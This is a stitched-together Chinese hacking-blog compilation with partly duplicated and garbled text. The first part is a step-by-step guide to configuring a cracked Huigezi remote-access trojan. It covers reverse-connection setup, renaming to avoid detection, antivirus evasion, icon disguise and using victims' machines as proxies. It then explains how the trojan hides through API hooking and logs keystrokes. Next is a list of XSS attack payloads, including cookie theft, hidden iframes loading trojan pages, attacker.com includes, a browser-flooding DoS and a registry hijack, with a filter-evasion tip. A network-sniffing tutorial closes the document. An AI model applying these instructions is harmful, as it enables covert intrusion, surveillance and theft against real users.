(当然,如果你是固定IP的话呢,可以写你的IP地址,那么前面的申请空间,上传文件几步可以省略)
2) “自动连接密码”,这个是表示你可以连接到的电脑所要用到的密
码,如果为空的话,也没什么大不了的,顶多就是别人也可以用你的“肉鸡”
3)“配置说明”建议你把“只使用备用自动上线”前的勾打上,因为我
们的软件是破解版的,官方的那个服务器我们是用不了啦~~~
4)“用户名称”“用户密码”这两个地方乱填些数字进去就行了,破解
版用不了正式版的服务器的,它是服务器用来验证软件是否“正版”用的。
“安装选项”选项卡,建议修改一下名字,以免被发现,其它的自己看
着办,看着喜欢就选吧~~~^_^
“启动项”这个很重要,建议你修改一下名字,它主要是服务端随系统
自动启动用的,也是自己看着办。其中的“生成服务”这一项是为了达到隐藏用
的,这也是我们经常说的手工清除木马的关键。也是长期以来很多人说无法清除
灰鸽子的原因,因为它写成了服务,这个的优先级是系统级的,所有使用这台电
脑的用户都会启动木马。
“代理服务”,嘻嘻,就是你控制的电脑可以给我们做为一台代理服务
器,说不定人家公布出来的代理服~务器地址有一部分是这些电脑的哦~~~
“高级选项”这里主要是用来对付杀毒软件和防火墙用的,默认是插入
IEXPLORER,启动隐藏文件隐藏插入的IE进程,以及使用UPX压缩,这里就不用去
改它的,默认就行。
“服务器图标”是用来伪装用的,你自己选项自己喜欢的图标吧~~~
配置好了就点击生成服务器,软件会优先从官方验证,但没效,出错了后就从本
地服务器验证,这就是我们要本机建http服务器的原因。好了,到此,服务端就
生成了,不要运行它,运行了你就会中木马的,(不准做坏事)
软件使用方法:当别人中了你的木马后,它会从你的网站读取ip.txt这个文件,
然后主动连接到你的电脑,如果你此时也打开了客户端的话,连接建立成功,你
可以控制这台电脑了。具体有什么内容你自己摸索,
如果你是动态IP地址的话,那么你要每次把新的ip.txt上传到网站上去~~~
灰鸽子第三章:服务端工作方式:
灰鸽子是国内一款著名后门。比起前辈冰河、黑洞来,灰鸽子可以说是国内后门
的集大成者。其丰富而强大的功能、灵活多变的操作、良好的隐藏性使其他后门
都相形见绌。客户端简易便捷的操作使刚入门的初学者都能充当黑客。当使用在
合法情况下时,灰鸽子是一款优秀的远程控制软件。但如果拿它做一些非法的事
,灰鸽子就成了很强大的黑客工具。这就好比火药,用在不同的场合,给人类带
来不同的影响。对灰鸽子完整的介绍也许只有灰鸽子作者本人能够说清楚,在此
我们只能进行简要介绍。
灰鸽子客户端和服务端都是采用Delphi编写。黑客利用客户端程序配置出服
务端程序。可配置的信息主要包括上线类型(如等待连接还是主动连接)、主动
连接时使用的公网IP(域名)、连接密码、使用的端口、启动项名称、服务名称
,进程隐藏方式,使用的壳,代理,图标等等。
服务端对客户端连接方式有多种,使得处于各种网络环境的用户都可能中毒
,包括局域网用户(通过代理上网)、公网用户和ADSL拨号用户等。
下面介绍服务端:
配置出来的服务端文件文件名为G_Server.exe(这是默认的,当然也可以改
洌 H缓蠛诳屠 靡磺邪旆ㄓ掌 没г诵蠫_Server.exe程序。具体采用什么办法
,读者可以充分发挥想象力,这里就不赘述。
G_Server.exe运行后将自己拷贝到Windows目录下(98/xp下为系统盘的windows目
录,2k/NT下为系统盘的Winnt目录),然后再从体内释放G_Server.dll和
G_Server_Hook.dll到windows目录下。G_Server.exe、G_Server.dll和
G_Server_Hook.dll三个文件相互配合组成了灰鸽子服务端,
G_Server_Hook.dll负责隐藏灰鸽子。通过截获进程的API调用隐藏灰鸽子的文件
、服务的注册表项,甚至是进程中的模块名。截获的函数主要是用来遍历文件、
遍历注册表项和遍历进程模块的一些函数。所以,有些时候用户感觉种了毒,但
仔细检查却又发现不了什么异常。有些灰鸽子会多释放出一个名为
G_ServerKey.dll的文件用来记录键盘操作。注意,G_Server.exe这个名称并不固
定,它是可以定制的,比如当定制服务端文件名为A.exe时,生成的文件就是
A.exe、A.dll和A_Hook.dll。
Windows目录下的G_Server.exe文件将自己注册成服务(9X系统写注册表启
动项),每次开机都能自动运行,运行后启动G_Server.dll和G_Server_Hook.dll
并自动退出。G_Server.dll文件实现后门功能,与控制端客户端进行通信;
G_Server_Hook.dll则通过拦截API调用来隐藏病毒。因此,中毒后,我们看不到
病毒文件,也看不到病毒注册的服务项。随着灰鸽子服务端文件的设置不同,
G_Server_Hook.dll有时候附在Explorer.exe的进程空间中,有时候则是附在所有
进程中。
灰鸽子的作者对于如何逃过杀毒软件的查杀花了很大力气。由于一些API函数
被截获,正常模式下难以遍历到灰鸽子的文件和模块,造成查杀上的困难。要卸
载灰鸽子动态库而且保证系统进程不崩溃也很麻烦,因此造成了近期灰鸽子在互
联网上泛滥的局面。

灰鸽子入侵原理,灰鸽子运行过程,怎么查杀灰鸽子(一)

灰鸽子第一章:软件相关介绍:灰鸽子 [VIP 专业版]1.只用一个端口来传输所有通讯数据!普通同类软件都用到了两个或两个以上的端口来完成!2.支持可以控制Internet连接共享、HTTP透明代理上网的电脑!软件智能读取系统设定的代理服务器信息,无需用户设置!3.无需知道服务端IP,自动上线功能让服务端自动上线报道!灰鸽子专用的上线系统无需您注册免费域名才能使用,同时也提供了备用上线方式,在我们的专用上线系统出现故障时,您可以使用备用上线方式来使用自动上线功能。在使用专用上线系统时,你还可以控制远程电脑通过Socks5代理来中转自动上线。4.自动上线可以在第一次设置分组,自定义上线图像,上线备注等,这样都可以让你轻而易举的找到目标主机,同时设置连接密码保证了服务主机的安全性!同时具用牵手版的搜索符合条件主机的功能:a.从主机窗口筛选:可以列出只有某个窗口的一批主机,可以轻松找到哪些人在玩某个游戏!b.从主机进程筛选:可以列出运行了某个程序的一批主机,例如QQ.exe,就可以找到打开了QQ的自动上线主机有哪些了!5.文件管理:管理远程电脑的文件系统,支持复制、粘贴、删除,断点下载、上传文件或文件夹,文件内容均以加密方式传输,确保通讯的安全性.6.远程控制命令:包括远程系统信息、剪切板信息、进程管理、窗口管理、键盘记录、服务管理、管理管理、MS-DOS模拟、代理服务控制!7.注册表编辑器:可以像操作本机注册表一样的编辑远程注册表。8.常用命令广播,让你控制主机众多主机更多的方便!详细的在线主机线表显示了:主机IP地址,地址位置,电脑名称,系统版本,备注等信息,9.除了具有语音监听、语音发送,还有远程视频监控功能,只有远程计算机有摄像头,且正常打开没有被占用,那么你可以看到,远程摄像头捕获的图片!还可以把远程摄像头捕获的画面存为Mpeg-1格式.远程语音也可以录制成Wav声音文件。10.可以设置服务端开放Socks5代理服务器功能和HTTP代理服务功能!无需第三方软件支持!支持Windows9x/ME/2000/Xp/2003。11.软件附带有四款实用工具:a. EXE工具 : 可以修改任何EXE文件图标,支持真彩色!b. 内网端口映射器 : 它允许你将局域网内的服务映射到internet上,使你在局域网内部也能使用自动上线功能!c. FTP服务器 : 可以开本机FTP服务!d. Web服务器 : 可以建立一个简单的Web服务器!12.服务端程序在 Windows 2000 / xp / 2003 可以以服务启动,支持发送多种组合键,比如:Ctrl+Alt+del等等,适用于管理服务器主机!远程屏幕捕获还可以录制为Mpeg-1文件格式.13.全中文友好操作界面,让你一目了然,漂亮皮肤让使用时也倍感亲切!功能简单介绍: 【1】对远程计算机文件管理:模枋 Windows 资源管理器,可以对文件进行复制、粘贴、删除,重命名、远程运行等,可以上传下载文件或文件夹,操作简单易用。 【2】远程控制命令:查看远程系统信息、剪切板查看、进程管理、服务管理、共享管理!【3】捕获屏幕:不但可以连继的捕获远程电脑屏幕,还能把本地的鼠标及键盘传动作送到远程实现实时控制功能! 【4】视频语音,可以监控远程摄像头,还有语音监听和发送功能,可以和远程主机进行语音对话!【5】telnet(超级终端). 【6】注册表模拟器:远程注册表操作就像操作本地注册表一样方便! 【7】命令广播:可以对自动上线主机进行命令广播,如关机、重启、打开网页,筛选符合条件的机等,点一个按钮就可以让N台机器同时关机或进行其它操作! 【8】服务端以服务方式启动,支持发送多种组合键,可以轻松管理远程服务器! 【9】专用的自动上线系统,直接使用灰鸽子注册ID即可实现远程服务端自动上线!【10】多种自动上线方式:专用上线、DNS解析域名、固定IP等,用户自由选择! 注册灰鸽子软件后享有:
⒈享用软件的所有功能,没有任何限制!⒉能使用对应的灰鸽子注册版本,能得到此版后期修正的正式版本!⒊可以使用我们的专用上线系统,无需其它域名和空间支持!⒋得到我们更好的技术服务!注:[VIP版] 包括 VIP2005、Version 1.2、Version 2.0 ![企业版]用户只能使用企业版!不能使用其它版本!5.加入会员后,会自动加入官方论坛。享受官方技术支持

灰鸽子第二章:好马配好鞍,服务端正确配置。灰鸽子是一款要交钱的软件,也就是说,你使用VIP版的话是要交给作者每年几十块钱的使用费(不作任何评论)因此网上也就有很多高手破解灰鸽子,让灰鸽子可以不用到灰鸽子的官方网站进行验证,从而可以不用交钱就可以使用,相关版本有:影子鹰破解专用版,爱儿破解版,以及华夏黑客联盟的灰鸽子sunray破解版。今天我们就用”灰鸽子sunray破解版”来向大家详细解析这款木马的服务端配置方式,只可实验,不可做坏事,大家不喜欢请跳过这一章。第一节:未雨绸缪,实验准备。第一,关闭杀毒软件,这点不用我说了吧~~~因为是木马,下载了之后如果杀毒软件监控开着的话肯定会被删除的。 第二,当然是下载灰鸽子的软件啦~~~上网找,有很多~~~
第三,申请一个免费的主页空间,为什么要呢?因为灰鸽子是可以反弹式链接的,也就是说,服务端通过登陆你的主页的特定文件就可以主动连接到你的电脑让你控制了。(这一点,等一下会详细解说)第二节:实战开始。把我们刚才下来的文件解压到某个文件夹,记住,不要改文件夹的名字,后面会用到。解压的文件里面有以下几个文件:H_Client.exe 这个是客户端的主要文件,可以配置文件,生成服务端,可以远程控制客户端。http.exe 这个是本地http服务器,因为我们的灰鸽子是破解版的,通常正式版的灰鸽子会到官方的服务器上去验证你的软件是否正版,所以这个软件就是用来在本机子上建一个服务器,骗过软件的,从而达到破解的目的。sunray.exe 这个里面其实也就只是一个host,它把http://www.huigezi.com这个网站的域名本地解析到本机,而不是解析到官方网站。vip_2005_0113.rar 这个是验证的软件,当我们的软件解析到本机的时候它就会下载这一个到客户端,用来验证用的。其它的文件还有config2005.asp,Operate.ini 还有四个文件夹,他们分别是(dat images login sound)我也不知道什么用的。应该是配置用的。
第一步:在你的电脑上新建一个ip.txt的文本文件,内容如下:http://huigezi212.126.131.43:8000end其中212.126.131.43这个是我的电脑IP地址,8000是连接的端口,你可以把它写成你自己的IP地址,端口一般不要去改动,然后把这个文件上传到你刚才申请的空间,如果你的电脑是动态IP的话,那你就要经常更新这个文件的内容,然后上传到空间,它的目的是客户端上线的话就会去这个网站读取这个文件,然后主动和你取得连接。第二步,首先运行 sunray.exe,然后运行 http.exe 点开始服务!第三步,运行客户端,也就是H_Client.exe这个文件,
点击“自动上线”选项,有几个要点要说的,
1)“备用自动上线,URL转向域名或网页文件,这里呢,填写你刚才申请到的网站空间地址和ip.txt,比如http://你的网站地址/ip.txt(当然,如果你是固定IP的话呢,可以写你的IP地址,那么前面的申请空间,上传文件几步可以省略)2) “自动连接密码”,这个是表示你可以连接到的电脑所要用到的密码,如果为空的话,也没什么大不了的,顶多就是别人也可以用你的“肉鸡”3)“配置说明”建议你把“只使用备用自动上线”前的勾打上,因为我们的软件是破解版的,官方的那个服务器我们是用不了啦~~~4)“用户名称”“用户密码”这两个地方乱填些数字进去就行了,破解版用不了正式版的服务器的,它是服务器用来验证软件是否“正版”用的。
“安装选项”选项卡,建议修改一下名字,以免被发现,其它的自己看着办,看着喜欢就选吧~~~^_^“启动项”这个很重要,建议你修改一下名字,它主要是服务端随系统自动启动用的,也是自己看着办。其中的“生成服务”这一项是为了达到隐藏用的,这也是我们经常说的手工清除木马的关键。也是长期以来很多人说无法清除灰鸽子的原因,因为它写成了服务,这个的优先级是系统级的,所有使用这台电脑的用户都会启动木马。“代理服务”,嘻嘻,就是你控制的电脑可以给我们做为一台代理服务器,说不定人家公布出来的代理服~务器地址有一部分是这些电脑的哦~~~“高级选项”这里主要是用来对付杀毒软件和防火墙用的,默认是插入IEXPLORER,启动隐藏文件隐藏插入的IE进程,以及使用UPX压缩,这里就不用去改它的,默认就行。”服务器图标”是用来伪装用的,你自己选项自己喜欢的图标吧~~~配置好了就点击生成服务器,软件会优先从官方验证,但没效,出错了后就从本地服务器验证,这就是我们要本机建http服务器的原因。好了,到此,服务端就生成了,不要运行它,运行了你就会中木马的,(不准做坏事)软件使用方法:当别人中了你的木马后,它会从你的网站读取ip.txt这个文件,然后主动连接到你的电脑,如果你此时也打开了客户端的话,连接建立成功,你可以控制这台电脑了。具体有什么内容你自己摸索,如果你是动态IP地址的话,那么你要每次把新的ip.txt上传到网站上去~~~
灰鸽子第三章:服务端工作方式:灰鸽子是国内一款著名后门。比起前辈冰河、黑洞来,灰鸽子可以说是国内后门的集大成者。其丰富而强大的功能、灵活多变的操作、良好的隐藏性使其他后门都相形见绌。客户端简易便捷的操作使刚入门的初学者都能充当黑客。当使用在合法情况下时,灰鸽子是一款优秀的远程控制软件。但如果拿它做一些非法的事,灰鸽子就成了很强大的黑客工具。这就好比火药,用在不同的场合,给人类带来不同的影响。对灰鸽子完整的介绍也许只有灰鸽子作者本人能够说清楚,在此我们只能进行简要介绍。灰鸽子客户端和服务端都是采用Delphi编写。黑客利用客户端程序配置出服务端程序。可配置的信息主要包括上线类型(如等待连接还是主动连接)、主动连接时使用的公网IP(域名)、连接密码、使用的端口、启动项名称、服务名称,进程隐藏方式,使用的壳,代理,图标等等。服务端对客户端连接方式有多种,使得处于各种网络环境的用户都可能中毒,包括局域网用户(通过代理上网)、公网用户和ADSL拨号用户等。下面介绍服务端:配置出来的服务端文件文件名为G_Server.exe(这是默认的,当然也可以改洌 H缓蠛诳屠 靡磺邪旆ㄓ掌 没г诵蠫_Server.exe程序。具体采用什么办法,读者可以充分发挥想象力,这里就不赘述。G_Server.exe运行后将自己拷贝到Windows目录下(98/xp下为系统盘的windows目录,2k/NT下为系统盘的Winnt目录),然后再从体内释放G_Server.dll和G_Server_Hook.dll到windows目录下。G_Server.exe、G_Server.dll和G_Server_Hook.dll三个文件相互配合组成了灰鸽子服务端,   G_Server_Hook.dll负责隐藏灰鸽子。通过截获进程的API调用隐藏灰鸽子的文件、服务的注册表项,甚至是进程中的模块名。截获的函数主要是用来遍历文件、遍历注册表项和遍历进程模块的一些函数。所以,有些时候用户感觉种了毒,但仔细检查却又发现不了什么异常。有些灰鸽子会多释放出一个名为G_ServerKey.dll的文件用来记录键盘操作。注意,G_Server.exe这个名称并不固定,它是可以定制的,比如当定制服务端文件名为A.exe时,生成的文件就是A.exe、A.dll和A_Hook.dll。Windows目录下的G_Server.exe文件将自己注册成服务(9X系统写注册表启动项),每次开机都能自动运行,运行后启动G_Server.dll和G_Server_Hook.dll并自动退出。G_Server.dll文件实现后门功能,与控制端客户端进行通信;G_Server_Hook.dll则通过拦截API调用来隐藏病毒。因此,中毒后,我们看不到病毒文件,也看不到病毒注册的服务项。随着灰鸽子服务端文件的设置不同,G_Server_Hook.dll有时候附在Explorer.exe的进程空间中,有时候则是附在所有进程中。灰鸽子的作者对于如何逃过杀毒软件的查杀花了很大力气。由于一些API函数被截获,正常模式下难以遍历到灰鸽子的文件和模块,造成查杀上的困难。要卸载灰鸽子动态库而且保证系统进程不崩溃也很麻烦,因此造成了近期灰鸽子在互联网上泛滥的局面。

XSS 攻击常用脚本

XSS 攻击常用脚本

1、这个应该都知道

<script>alert(“test”)</script>    常用于测试 是否存在跨站

2、<script>window.alert(document.cookie);</script>

这句代码将会弹出壹个包含有浏览者cookie信息的对话框,如果用户已经通过账号登陆网站,在显示的cookie信息中将会包含有用户的账户名和密码。

3、<script>window.open(‘http://www.pete.cn /default.asp’,'newwindow’,'width=200,height=200′);</script>,当用户浏览该 页时,将弹出壹个高为200,宽为200的网页窗口,在其中打开的页面是http://www.pete.cn/default.asp

4、跨站攻击的形式是多样的,不仅可以在网页中插入跨站脚本代码,而且可以在flash文件中插入跨站脚本代码,实现跨站攻击。由于flash文件有较高 的安全性,用户通常对flash文件的警惕性不够,因此用flash文件进行跨站攻击的成功率很高。如果将这个含有跨站脚本代码的flash文件插入到网 页中,例如制作成网页banner或者广告,那么中招的用户将更多。
flash跨站是通过在flash文件中插入动作脚本来实现的,通过在flash文件“帧”的“动作”中插入跨站脚本代码来实现跨站攻击,其实现方法入下:
首先运行flash文件制作工具flash8.exe,新建壹个空白的flash文檔。然后选中其中的第壹帧,进入界面下方的“动作”编辑界面,在Action Script中插入我们的跨站脚本代码

getURL(“http://网页木马地址”, “_blank”, “GET”);
loadMovieNum(“http://www.pete.cn/test.swf”, 0);

5、<iframe src=http://www.***.com/muma.htm width=0 height=0>< iframe>

这就是 传说中的框架   -   -   膜拜吧       还有JS 也可以使用,比框架更隐蔽

6、Refresh到另壹个页面:

<meta http-equiv=”refresh” c>

7、scriptlet引入另壹个页面:

<object data=”http://www.attacker.com/import.htm”></object>

————————————————————————————————————

下面来几段长的   但是 记住 要慎用 !!

1、打开无数个浏览器窗口,直至CPU超负荷,非关机不可:

<script>

<!–
while (true)
{
window.open(“URI”); //如果URI就是当前页本身,那就更具破坏性。
}
//–>

</script>

2、

修改注册表(IE 主页):

<script>
Set RegWsh = CreateObject(“WScript.Shell”)
‘设置IE浏览器默认页
RegWsh.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”, “http://www.attacker.com”
</script>

有时候,</script> 可以替换大小写 来躲过过滤

嗅探原理与反嗅探技术详解

嗅探原理与反嗅探技术详解
1.1 什么是嗅探器? 嗅探器的英文写法是Sniff,可以理解为一个安装在计算机上的窃听设备它可以用来窃听计算机在网络上所产生
的众多的信息。简单一点解释:一部电话的窃听装置, 可以用来窃听双方通话的内容 …
1.1 什么是嗅探器?
嗅探器的英文写法是Sniff,可以理解为一个安装在计算机上的窃听设备它可以用来窃听计算机在网络上所产生的众多的信息。
简单一点解释:一部电话的窃听装置, 可以用来窃听双方通话的内容,而计算机网络嗅探器则可以窃听计算机程序在网络上发送和接
收到的数据。
可是,计算机直接所传送的数据,事实上是大量的二进制数据。因此, 一个网络窃听程序必须也使用特定的网络协议来分解嗅探
到的数据, 嗅探器也就必须能够识别出那个协议对应于这个数据片断,只有这样才能够进行正确的解码。
计算机的嗅探器比起电话窃听器,有他独特的优势: 很多的计算机网络采用的是“共享媒体”。 也就是说,你不必中断他的通
讯,并且配置特别的线路,再安装嗅探器,你几乎可以在任何连接着的网络上直接窃听到你同一掩码范围内的计算机网络数据。我们
称这种窃听方式为“基于混杂模式的嗅探”(promiscuous mode) 。 尽管如此,这种“共享” 的技术发展的很快,慢慢转向“交换
” 技术,这种技术会长期内会继续使用下去, 它可以实现有目的选择的收发数据。
1.2嗅探器是如何工作的
1.2.1如何窃听网络上的信息
刚才说了,以太网的数据传输是基于“共享”原理的:所有的同一本地网范围内的计算机共同接收到相同的数据包。这意味着计
算机直接的通讯都是透明可见的。
正是因为这样的原因,以太网卡都构造了硬件的“过滤器”这个过滤器将忽略掉一切和自己无关的网络信息。事实上是忽略掉了
与自身MAC地址不符合的信息。
嗅探程序正是利用了这个特点,它主动的关闭了这个嗅探器,也就是前面提到的设置网卡“混杂模式”。因此,嗅探程序就能够
接收到整个以太网内的网络数据了信息了。
1.2.2什么是以太网的MAC地址
MAC:Media Access Control.
由于大量的计算机在以太网内“共享“数据流,所以必须有一个统一的办法用来区分传递给不同计算机的数据流的。这种问题不
会发生在拨号用户身上,因为计算机会假定一切数据都由你发动给modem然后通过电话线传送出去。可是,当你发送数据到以太网上
的时候,你必须弄清楚,哪台计算机是你发送数据的对象。的确,现在有大量的双向通讯程序出现了,看上去,他们好像只会在两台
机器内交换信息,可是你要明白,以太网的信息是共享的,其他用户,其实一样接收到了你发送的数据,只不过是被过滤器给忽略掉
了。
MAC地址是由一组6个16进制数组成的,它存在于每一块以太网卡中。后面的章节将告诉你如何查看自己计算机的MAC地址。
如果你对网络结构不太熟悉,建议参考一下OSI 7-Layer Model,这将有助于你理解后面的东西以太网所使用的协议主要是
TCP/IP,并且TCP/IP也用于其他的网络模型(比如拨号用户,他们并不是处于一个以太网环境中)。举例一下,很多的小团体计算机用
户都为实现文件和打印共享,安装了“NetBEUI” 因为它不是基于TCP/IP协议的, 所以来自于网络的黑客一样无法得知他们的设备
情况。
基于Raw协议,传输和接收都在以太网里起着支配作用。你不能直接发送一个Raw数据给以太网,你必须先做一些事情,让以太网
能够理解你的意思。这有点类似于邮寄信件的方法,你不可能直接把一封信投递出去,你必须先装信封,写地址,贴邮票,网络上的
传输也是这样的。
下面给出一个简单的图示,有助于你理解数据传送的原理:
_________
/………
/..Internet.
+—–+ +—-+………….+—–+
|UserA|—–|路由|………….|UserB|
+—–+ ^ +—-+………….+—–+
| ………../
| ———/
+——+
|嗅探器|
+——+
UserA IP 地址: 10.0.0.23
UserB IP 地址: 192.168.100.54
现在知道UserA要于UserB进行计算机通讯,UserA需要为10.0.0.23到192.168.100.54的通讯建立一个IP包
这个IP包在网络上传输,它必须能够穿透路由器。因此, UserA必须首先提交这个包给路由器。由每个路由器考查目地IP地址然
后决定传送路径。
UserA 所知道的只是本地与路由的连接,和UserB的IP地址。UserA并不清楚网络的结构情况和路由走向。
UserA必须告诉路由预备发送的数据包的情况,以太网数据传输结构大概是这样的:
+–+–+–+–+–+–+
| 目标 MAC |
+–+–+–+–+–+–+
| 源 MAC |
+–+–+–+–+–+–+
|08 00|
+–+–+———–+
| |
. .
. IP 包 .
. .
| |
+–+–+–+–+—–+
| CRC校验 |
+–+–+–+–+
理解一下这个结构,UserA的计算机建立了一个包假设它由100个字节的长度(我们假设一下,20 个字节是IP信息,20个字节是
TCP信息,还有60个字节为传送的数据)。现在把这个包发给以太网,放14个字节在目地MAC地址之前,源MAC地址,还要置一个0×0800
的标记,他指示出了TCP/IP栈后的数据结构。同时,也附加了4个字节用于做CRC校验 (CRC校验用来检查传输数据的正确性)。
现在发送数据到网络。
所有在网内的计算机通过适配器都能够发现这个数据片,其中也包括路由适配器,嗅探器和其他一些机器。通常,适配器都具有
一块芯片用来做结构比较的,检查结构中的目地MAC地址和自己的MAC地址,如果不相同,则适配器会丢弃这个结构。这个操作会由硬
件来完成,所以,对于计算机内的程序来说,整个过程时毫无察觉的。
当路由器的以太网适配器发现这个结构后,它会读取网络信息,并且去掉前14个字节,跟踪4个字节。查找0×8000标记,然后对
这个结构进行处理(它将根据网络状况推测出下一个最快路由节点,从而最快传送数据到预定的目标地址)。
设想,只有路由机器能够检查这个结构,并且所有其他的机器都忽略这个 结构,则嗅探器无论如何也无法检测到这个结构的。
1.3.1 MAC地址的格式是什么?
以太网卡的MAC地址是一组48比特的数字,这48比特分为两个部分组成,前面的24比特用于表示以太网卡的寄主,后面的24比特
是一组序列号,是由寄主进行支派的。这样可以担保没有任何两块网卡的MAC地址是相同的(当然可以通过特殊的方法实现)。如果出
现相同的地址,将发生问题,所有这一点是非常重要的。这24比特被称之为OUI(Organizationally Unique Identifier)。
可是,OUI的真实长度只有22比特,还有两个比特用于其他:一个比特用来校验是否是广播或者多播地址,另一个比特用来分配
本地执行地址(一些网络允许管理员针对具体情况再分配MAC地址)。
举个例子,你的MAC地址在网络中表示为 03 00 00 00 00 01 。第一个字节所包含的值二进制表示方法为00000011。 可以看到
,最后两个比特都被置为真值。他指定了一个多播模式,向所有的计算机进行广播,使用了“NetBEUI”协议(一般的,在Windows计
算机的网络中,文件共享传输等是不使用TCP/IP协议的)。.
1.3.2 我如何得到自己计算机的MAC地址?
Win9x
Win9x自带的这个程序将告诉你答案:“winipcfg.exe”
WinNT
在命令行的状态下运行这个命令:”ipconfig /all”
它会显示出你的MAC网卡地址,下面是一个例子:
Windows 2000 IP Configuration
Host Name . . . . . . . . . . . . : bigball
Primary DNS Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter 本地连接:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Legend/D-Link DFE-530TX PCI Fast Eth
ernet Adapter (Rev
Physical Address. . . . . . . . . : 00-50-BA-25-5D-E8
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 192.168.10.254
Subnet Mask . . . . . . . . . . . : 255.255.128.0
Default Gateway . . . . . . . . . : 192.168.10.3
Ethernet adapter SC12001:
Description . . . . . . . . : DEC DC21140 PCI Fast Ethernet
Linux
运行“ifconfig”。结果如下:
eth0 Link encap:Ethernet HWaddr 08:00:17:0A:36:3E
inet addr:192.0.2.161 Bcast:192.0.2.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

嗅探原理与反嗅探技术详解

1.1 什么是嗅探器? 嗅探器的英文写法是Sniff,可以理解为一个安装在计算机上的窃听设备它可以用来窃听计算机在网络上所产生
的众多的信息。简单一点解释:一部电话的窃听装置, 可以用来窃听双方通话的内容 …    1.1 什么是嗅探器?    嗅探器的英文写法是Sniff,可以理解为一个安装在计算机上的窃听设备它可以用来窃听计算机在网络上所产生的众多的信息。
简单一点解释:一部电话的窃听装置, 可以用来窃听双方通话的内容,而计算机网络嗅探器则可以窃听计算机程序在网络上发送和接
收到的数据。    可是,计算机直接所传送的数据,事实上是大量的二进制数据。因此, 一个网络窃听程序必须也使用特定的网络协议来分解嗅探
到的数据, 嗅探器也就必须能够识别出那个协议对应于这个数据片断,只有这样才能够进行正确的解码。    计算机的嗅探器比起电话窃听器,有他独特的优势: 很多的计算机网络采用的是“共享媒体”。 也就是说,你不必中断他的通
讯,并且配置特别的线路,再安装嗅探器,你几乎可以在任何连接着的网络上直接窃听到你同一掩码范围内的计算机网络数据。我们
称这种窃听方式为“基于混杂模式的嗅探”(promiscuous mode) 。 尽管如此,这种“共享” 的技术发展的很快,慢慢转向“交换
” 技术,这种技术会长期内会继续使用下去, 它可以实现有目的选择的收发数据。    1.2嗅探器是如何工作的    1.2.1如何窃听网络上的信息    刚才说了,以太网的数据传输是基于“共享”原理的:所有的同一本地网范围内的计算机共同接收到相同的数据包。这意味着计
算机直接的通讯都是透明可见的。    正是因为这样的原因,以太网卡都构造了硬件的“过滤器”这个过滤器将忽略掉一切和自己无关的网络信息。事实上是忽略掉了
与自身MAC地址不符合的信息。    嗅探程序正是利用了这个特点,它主动的关闭了这个嗅探器,也就是前面提到的设置网卡“混杂模式”。因此,嗅探程序就能够
接收到整个以太网内的网络数据了信息了。    1.2.2什么是以太网的MAC地址    MAC:Media Access Control.    由于大量的计算机在以太网内“共享“数据流,所以必须有一个统一的办法用来区分传递给不同计算机的数据流的。这种问题不
会发生在拨号用户身上,因为计算机会假定一切数据都由你发动给modem然后通过电话线传送出去。可是,当你发送数据到以太网上
的时候,你必须弄清楚,哪台计算机是你发送数据的对象。的确,现在有大量的双向通讯程序出现了,看上去,他们好像只会在两台
机器内交换信息,可是你要明白,以太网的信息是共享的,其他用户,其实一样接收到了你发送的数据,只不过是被过滤器给忽略掉
了。    MAC地址是由一组6个16进制数组成的,它存在于每一块以太网卡中。后面的章节将告诉你如何查看自己计算机的MAC地址。    如果你对网络结构不太熟悉,建议参考一下OSI 7-Layer Model,这将有助于你理解后面的东西以太网所使用的协议主要是
TCP/IP,并且TCP/IP也用于其他的网络模型(比如拨号用户,他们并不是处于一个以太网环境中)。举例一下,很多的小团体计算机用
户都为实现文件和打印共享,安装了“NetBEUI” 因为它不是基于TCP/IP协议的, 所以来自于网络的黑客一样无法得知他们的设备
情况。    基于Raw协议,传输和接收都在以太网里起着支配作用。你不能直接发送一个Raw数据给以太网,你必须先做一些事情,让以太网
能够理解你的意思。这有点类似于邮寄信件的方法,你不可能直接把一封信投递出去,你必须先装信封,写地址,贴邮票,网络上的
传输也是这样的。    下面给出一个简单的图示,有助于你理解数据传送的原理:    _________    /………    /..Internet.    +—–+ +—-+………….+—–+    |UserA|—–|路由|………….|UserB|    +—–+ ^ +—-+………….+—–+    | ………../    | ———/    +——+    |嗅探器|    +——+    UserA IP 地址: 10.0.0.23    UserB IP 地址: 192.168.100.54    现在知道UserA要于UserB进行计算机通讯,UserA需要为10.0.0.23到192.168.100.54的通讯建立一个IP包    这个IP包在网络上传输,它必须能够穿透路由器。因此, UserA必须首先提交这个包给路由器。由每个路由器考查目地IP地址然
后决定传送路径。    UserA 所知道的只是本地与路由的连接,和UserB的IP地址。UserA并不清楚网络的结构情况和路由走向。    UserA必须告诉路由预备发送的数据包的情况,以太网数据传输结构大概是这样的:    +–+–+–+–+–+–+    | 目标 MAC |    +–+–+–+–+–+–+    | 源 MAC |    +–+–+–+–+–+–+    |08 00|    +–+–+———–+    | |    . .    . IP 包 .    . .    | |    +–+–+–+–+—–+    | CRC校验 |    +–+–+–+–+    理解一下这个结构,UserA的计算机建立了一个包假设它由100个字节的长度(我们假设一下,20 个字节是IP信息,20个字节是
TCP信息,还有60个字节为传送的数据)。现在把这个包发给以太网,放14个字节在目地MAC地址之前,源MAC地址,还要置一个0×0800
的标记,他指示出了TCP/IP栈后的数据结构。同时,也附加了4个字节用于做CRC校验 (CRC校验用来检查传输数据的正确性)。    现在发送数据到网络。    所有在网内的计算机通过适配器都能够发现这个数据片,其中也包括路由适配器,嗅探器和其他一些机器。通常,适配器都具有
一块芯片用来做结构比较的,检查结构中的目地MAC地址和自己的MAC地址,如果不相同,则适配器会丢弃这个结构。这个操作会由硬
件来完成,所以,对于计算机内的程序来说,整个过程时毫无察觉的。    当路由器的以太网适配器发现这个结构后,它会读取网络信息,并且去掉前14个字节,跟踪4个字节。查找0×8000标记,然后对
